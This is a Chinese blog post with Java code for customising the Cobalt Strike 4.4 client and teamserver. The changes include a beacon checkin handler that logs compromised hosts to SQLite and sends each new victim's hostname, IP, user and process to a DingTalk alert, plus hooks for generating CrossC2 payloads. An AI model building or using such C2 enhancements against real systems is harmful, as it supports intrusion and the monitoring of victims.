本文为CS 4.4 二开笔记系列第二篇,主要是针对aggressor客户端进行功能分析与二开。感觉现在的查到的文章较多在于beacon的协议的分析和针对特征的修改,在aggressor的分析还是比较少的,而aggressor又是使用者进行一系列操作的入口,只掌握sleep来编写cna脚本是远远不够的,因此本文将着重讨论针对aggressor功能的分析与扩充,文中可能会对部分步骤进行省略,主要是提供足够的思路来分析aggressor的源码和增强。
Event Log 显示连接的 teamserver 的 IP
cs插件开发 – 先知社区(https://xz.aliyun.com/t/11404)
Aggressor-Script | 狼组安全团队公开知识库(https://wiki.wgpsec.org/knowledge/intranet/Aggressor-script.html)
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as_cobalt-strike.htm
serverip()
函数来进行显示:serverip
这个字符串,然后aggressor会判断是否等于这个字符串来进行响应。aggressor的代码与下面两部分有关:DataBridge.java
的scriptLoaded()
函数中,需要先注册这个函数的键值:DataBridge.java
的evaluate()
函数中,当接收到这个键值传来信号时则做出响应:
aggressorRemoteIp
这个字符串是我在connect.java
中设置的public static
变量,当我们在connect界面连接teamserver时则将对应的host传递给event log,最后达到了我们想要的效果:钉钉上线提醒
server/Beacons.java
中调用这个类,我这里是通过配置文件进行的设置,其他方式大家可以自己研究:第一次上线时间显示
checkin
函数循环导致无法正确刷新map。目前更改后的checkin代码如下:public void checkin(ScListener request, BeaconEntry var2) {
synchronized (this) {
if (!var2.isEmpty()) {
BeaconEntry var4 = (BeaconEntry) this.privateMap.get(var2.getId());
if (var4 == null || var4.isEmpty()) {
ServerUtils.addTarget(this.resources, var2.getInternal(), var2.getComputer(), (String) null, var2.getOperatingSystem(), var2.getVersion());
ServerUtils.addSession(this.resources, var2.toMap());
if (!var2.isLinked() && request != null) {
ServerUtils.addC2Info(this.resources, request.getC2Info(var2.getId()));
}
this.resources.broadcast("eventlog", LoggedEvent.BeaconInitial(var2));
this.initial.add(var2.getId());
this.resources.process(var2);
}
}
// 2023-09-19 TOP
this.Cmp = var2.getComputer();
if (var2.isSSH() && this.Cmp.contains(SVGSyntax.OPEN_PARENTHESIS)) {
this.Cmp = var2.getComputer().replace(SVGSyntax.OPEN_PARENTHESIS, "");
this.Cmp = this.Cmp.replace(")", "");
this.Cmp = this.Cmp.replace(var2.getPid(), "");
}
String BeaconHash = this.hash(var2.getInternal(), var2.getUser(), var2.getProcess(), this.Cmp, var2.getListenerName(), var2.arch(), var2.getPid());
info BeaconInfo = new info();
BeaconInfo.BeaconId = var2.getBeaconId();
BeaconInfo.Internal = var2.getInternal();
BeaconInfo.External = var2.getExternal();
BeaconInfo.Process = var2.getProcess();
BeaconInfo.Arch = var2.arch();
BeaconInfo.Computer = this.Cmp;
BeaconInfo.User = var2.getUser();
BeaconInfo.Hash = BeaconHash;
try {
Connection conn = SqliteSave.OpenDb();
try {
HashMap<String, String> beacons = SqliteSave.CheckBeaconHash(conn, BeaconHash);
if (beacons == null) { // 如果这个机器第一次上线: beacons为null,则打开数据库连接,将BeaconInfo添加到数据库中,然后尝试从beacons中获取"StartTime"并赋值给 BeaconInfo.StartTime
Connection conn4 = SqliteSave.OpenDb();
SqliteSave.AddBeacon(conn4, BeaconInfo);
var2.start = utils.BeijingTime.formatToBeijingTime();
;
// 2023-09-18 dingTalk TOP
try {
String token = TeamServer.globalDingtalkToken;
String[] args = new String[2];
args[0] = token;
args[1] = "CobaltStrike主机上线提醒+1" + "\n";
args[1] += "计算机名:" + var2.getComputer() + "\n";
args[1] += "IP地址:" + var2.getExternal() + "\n";
args[1] += "归属地:" + var2.getIpAddress() + "\n";
args[1] += "用户名:" + var2.getUser() + "\n";
args[1] += "进程名:" + var2.getProcess() + "\n";
args[1] += "PID:" + var2.getPid() + "\n";
utils.DingtalkSendMsg.send(args);
} catch (IOException e) {
throw new RuntimeException(e);
}
// 2023-09-18 END
} else {
Connection conn2 = SqliteSave.OpenDb();
HashMap<String, String> beacons2 = SqliteSave.CheckBeacon(conn2, BeaconHash, var2.getBeaconId());
if (beacons2 == null) {
Connection con3 = SqliteSave.OpenDb();
BeaconInfo.StartTime = beacons.get("StartTime");
SqliteSave.AddBeacon2(con3, BeaconInfo);
} else {
var2.start = beacons2.get("StartTime");
}
}
if (conn != null) {
conn.close();
}
this.privateMap.put(var2.getId(), var2); // <-- core code 此处实时更新
// CommonUtils.print_info("[1] var2.getId(): " + var2.getId() + "nvar2: " + var2.getLastCheckin());
} catch (Throwable th) {
if (conn != null) {
try {
conn.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
} catch (SQLException e) {
throw new RuntimeException(e);
}
// 2023-09-19 END
}
}
// InitDb(): 初始化数据库。创建一个新的SQLite数据库,并在其中创建一个名为Beacon的表。
// OpenDb(): 打开数据库连接。连接到SQLite数据库并返回连接。
// CheckBeaconHash(): 检查特定哈希值的beacon(信标)是否存在。
// CheckBeacon(): 检查特定哈希值和beacon ID的beacon是否存在。
// CheckSShBeacon(): 检查SSH beacon是否存在。
// AddBeacon(): 将一个新的beacon添加到数据库。
// AddBeacon2(): 将一个新的beacon添加到数据库,但这个方法允许更多的参数。
// UpBeaconNote(): 更新特定beacon的注释。
// UpBeaconLastTime(): 更新特定beacon的最后活动时间。
// UpBeaconId(): 更新特定哈希值的beacon的ID。
public class SqliteSave {
public static void InitDb() {
try {
Class.forName("org.sqlite.JDBC");
Connection c = DriverManager.getConnection("jdbc:sqlite:sqlite/beacon.db");
CommonUtils.print_good("[DB] The sqlite/beacon.db is created successfully!");
Statement stmt = c.createStatement();
stmt.executeUpdate("CREATE TABLE Beacon (Id INTEGER PRIMARY KEY AUTOINCREMENT, BeaconId CHAR(50), Hash CHAR(50), StartTime CHAR(50), External CHAR(50), Internal CHAR(50), Computer CHAR(50), Process CHAR(50), User CHAR(50), Arch CHAR(50), Note CHAR(50), UpdateNoteTime CHAR(50))");
if (stmt != null) {
stmt.close();
}
if (c != null) {
c.close();
}
} catch (Exception e) {
System.err.println(e.getClass().getName() + ": " + e.getMessage());
System.exit(0);
}
CommonUtils.print_info("[DB] The database is initialized successfully!");
}
public static Connection OpenDb() {
Connection c = null;
try {
Class.forName("org.sqlite.JDBC");
c = DriverManager.getConnection("jdbc:sqlite:sqlite/beacon.db");
} catch (Exception e) {
System.err.println(e.getClass().getName() + ": " + e.getMessage());
System.exit(0);
}
return c;
}
public static HashMap<String, String> CheckBeaconHash(Connection c, String hash) {
HashMap<String, String> Beacon = new HashMap<>();
try {
PreparedStatement ps = c.prepareStatement("SELECT * FROM Beacon WHERE Hash = (?) ORDER BY UpdateNoteTime DESC;");
ps.setString(1, hash);
ResultSet rs = ps.executeQuery();
while (rs.next()) {
if (rs.getString("Hash").equals(hash)) {
Beacon.put("StartTime", rs.getString("StartTime"));
Beacon.put("Note", rs.getString("Note"));
ps.close();
c.close();
return Beacon;
}
}
rs.close();
ps.close();
c.close();
return null;
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
public static HashMap<String, String> CheckBeacon(Connection c, String hash, String BeaconId) {
HashMap<String, String> Beacon = new HashMap<>();
try {
PreparedStatement ps = c.prepareStatement("SELECT * FROM Beacon WHERE Hash = (?) AND BeaconId = (?) ORDER BY UpdateNoteTime DESC;");
ps.setString(1, hash);
ps.setString(2, BeaconId);
ResultSet rs = ps.executeQuery();
while (rs.next()) {
if (rs.getString("Hash").equals(hash)) {
Beacon.put("StartTime", rs.getString("StartTime"));
Beacon.put("Note", rs.getString("Note"));
ps.close();
c.close();
return Beacon;
}
}
rs.close();
ps.close();
c.close();
return null;
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
public static HashMap<String, String> CheckSShBeacon(Connection c, info BeaconInfo) {
HashMap<String, String> Beacon = new HashMap<>();
try {
PreparedStatement ps = c.prepareStatement("SELECT * FROM Beacon WHERE Computer = (?) and User = (?) and Arch = (?) and Process = (?) and External = (?) ORDER BY id DESC;");
ps.setString(1, BeaconInfo.Computer);
ps.setString(2, BeaconInfo.User);
ps.setString(3, BeaconInfo.Arch);
ps.setString(4, BeaconInfo.Process);
ps.setString(5, BeaconInfo.External);
ResultSet rs = ps.executeQuery();
while (rs.next()) {
if (rs != null) {
Beacon.put("Hash", rs.getString("Hash"));
Beacon.put("StartTime", rs.getString("StartTime"));
Beacon.put("Note", rs.getString("Note"));
Beacon.put("Id", rs.getString("Id"));
Beacon.put("External", rs.getString("External"));
Beacon.put("Internal", rs.getString("Internal"));
Beacon.put(DOMKeyboardEvent.KEY_PROCESS, rs.getString(DOMKeyboardEvent.KEY_PROCESS));
Beacon.put("Arch", rs.getString("Arch"));
Beacon.put("User", rs.getString("User"));
Beacon.put("Computer", rs.getString("Computer"));
ps.close();
c.close();
return Beacon;
}
}
rs.close();
ps.close();
c.close();
return null;
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
public static void AddBeacon(Connection c, info BeaconInfo) {
String times = utils.BeijingTime.formatToBeijingTime();
try {
PreparedStatement ps = c.prepareStatement("INSERT INTO Beacon (Hash,StartTime,Note,BeaconId,External,Process,Arch,User,Computer,Internal,UpdateNoteTime) VALUES (?, ?, "",?,?,?,?,?,?,?,?);");
ps.setString(1, BeaconInfo.Hash);
ps.setString(2, times);
ps.setString(3, BeaconInfo.BeaconId);
ps.setString(4, BeaconInfo.External);
ps.setString(5, BeaconInfo.Process);
ps.setString(6, BeaconInfo.Arch);
ps.setString(7, BeaconInfo.User);
ps.setString(8, BeaconInfo.Computer);
ps.setString(9, BeaconInfo.Internal);
ps.setString(10, times);
ps.execute();
if (ps != null) {
ps.close();
}
if (c != null) {
c.close();
}
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
public static void AddBeacon2(Connection c, info BeaconInfo) {
try {
PreparedStatement ps = c.prepareStatement("INSERT INTO Beacon (Hash,StartTime,Note,BeaconId,External,Process,Arch,User,Computer,Internal,UpdateNoteTime) VALUES (?, ?, ?,?,?,?,?,?,?,?,"");");
ps.setString(1, BeaconInfo.Hash);
ps.setString(2, BeaconInfo.StartTime);
ps.setString(3, BeaconInfo.Note);
ps.setString(4, BeaconInfo.BeaconId);
ps.setString(5, BeaconInfo.External);
ps.setString(6, BeaconInfo.Process);
ps.setString(7, BeaconInfo.Arch);
ps.setString(8, BeaconInfo.User);
ps.setString(9, BeaconInfo.Computer);
ps.setString(10, BeaconInfo.Internal);
ps.execute();
if (ps != null) {
ps.close();
}
if (c != null) {
c.close();
}
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
public static void UpBeaconNote(Connection c, String BeaconId, String Note) {
String times = utils.BeijingTime.formatToBeijingTime();;
try {
PreparedStatement ps = c.prepareStatement("UPDATE Beacon set Note = ? , UpdateNoteTime = ? where BeaconId=?;");
ps.setString(1, Note);
ps.setString(2, times);
ps.setString(3, BeaconId);
ps.executeUpdate();
ps.close();
c.close();
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
public static void UpBeaconLastTime(Connection c, String BeaconId, String Note) {
String times = utils.BeijingTime.formatToBeijingTime();;
try {
PreparedStatement ps = c.prepareStatement("UPDATE Beacon set LastTime = ? where BeaconId=?;");
ps.setString(1, times);
ps.setString(2, BeaconId);
ps.executeUpdate();
ps.close();
c.close();
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
public static void UpBeaconId(Connection c, String Hash, String BeaconId) {
try {
PreparedStatement ps = c.prepareStatement("UPDATE Beacon set BeaconId = ? where Hash=?;");
ps.setString(1, BeaconId);
ps.setString(2, Hash);
ps.executeUpdate();
ps.close();
c.close();
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
}
随机用户名后缀
主要修改点在
server/ManageUser.java
中,在process函数中新增:aggressor 新增监听器时默认显示远程 IP
Connect.java
:新增public static String aggressorRemoteIp = "";
show_http
和show_https
都改掉:最后更改效果为:
CNA 脚本触发java端内置函数
default.cna
:item("&New Connection", { openConnectDialog(); });
aggressor/bridges/AggressorBridges.java
中进行判断,如果点击了这个,则调用这个文件中的代码。AggressorBridges.java
先是注册,再是响应:注册:
(new ConnectDialog(this.window)).show();
aggressor/dialogs/ConnectDialog.java
中的类。实际上aggressor界面上的那些按钮的触发都是这个套路,因此我们后续如果不想用纯粹的cna脚本,就可以用cna脚本触发,函数写死在java端,好处就是把一些不改动的cna脚本写死在里面,不用拷贝给队友时还需要额外附带脚本。cna脚本写死并加载的地方在aggressor/AggressorClient.java
中:aggressor 提取监听器信息
String lname = DialogUtils.string(var2, "listener"); // 监听器名称,通过 lname 可获得 lhost 和 lport
String lhost = ListenerUtils.getListener(this.client, lname).getCallbackHosts(); // 监听器IP
String lport = String.valueOf(ListenerUtils.getListener(this.client, lname).getPort()); // 监听器端口
aggressor 发送信号
protected TeamQueue conn = null;
this.conn.call("SendSign.test", CommonUtils.args(var1, var2, var3, checksum));
"SendSign.test"
代表的是发送数据的标签,服务端需要根据这个标签进行判断,后面的几个都是传递的参数。我自己实现的调用逻辑为:dialogAction() -> send() -> final_send()
public void dialogAction(ActionEvent var1, Map var2) {
String lname = DialogUtils.string(var2, "listener"); // 监听器名称,通过 lname 可获得 lhost 和 lport
String lhost = ListenerUtils.getListener(this.client, lname).getCallbackHosts(); // 监听器IP
String lport = String.valueOf(ListenerUtils.getListener(this.client, lname).getPort()); // 监听器端口
String[] stringArray = {lname,lhost,lport};
this.send(var1, var2, stringArray); // var1 与 var2 固定,var3 传递传给 final_send 的参数
}
public void send(ActionEvent var1, Map var2,String[] var3) {
this.final_send(var3[0],var3[1],var3[2]);
}
private void final_send(String var1,String var2,String var3) {
this.conn.call("SendSign.test", CommonUtils.args(var1, var2, var3, checksum));
System.out.println("发送的checksum为:"+ checksum);
}
server 接收信号
public void call(Request var1, ManageUser var2) { // 实际运行的函数
String var4;
if (var1.is("SendSign.test", 4)) { // 前三个参数跟编译相关,第四个为 checksum 校验值
synchronized(this) {
int result = genCrossC2((String) var1.arg(0), (String) var1.arg(1), (String) var1.arg(2)); // 打印输入的参数,需要将 object 强制转为 string
CommonUtils.print_info("result: "+ result);
if (result == 0){
this.resources.broadcast("genCrossC2", (String) var1.arg(3), true);
System.out.println("send checksum: "+ (String) var1.arg(3));
}
}
}
}
var1.is("SendSign.test", 4)
,这个与aggressor传来的数据是相对应的,4为四个参数。server 进行广播
this.resources.broadcast("genCrossC2", (String) var1.arg(3), true);
aggressor 接收广播
conn.setSubscriber(new Callback() {
@Override
public void result(String call, Object content) { //
if ("genCrossC2".equals(call)) {
System.out.println("接收到 genCrossC2 广播!");
if (content instanceof String) {
String contentString = (String) content;
if ("OK".equals(contentString)) {
System.out.println("广播的内容是 'OK'!");
}
}
}
}
});
this.conn.setSubscriber(this.data);
String response = data.getDataSafe("genCrossC2").toString();
if(checksum.equals(response)){
System.out.println("接收到服务端广播的内容是:" + checksum);
break;
}
this.data.put("key","value");
进行了置空操作,问题就解决了。总结
看雪ID:bwner
https://bbs.kanxue.com/user-home-951654.htm
# 往期推荐
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):CS 4.4 二开笔记:增强篇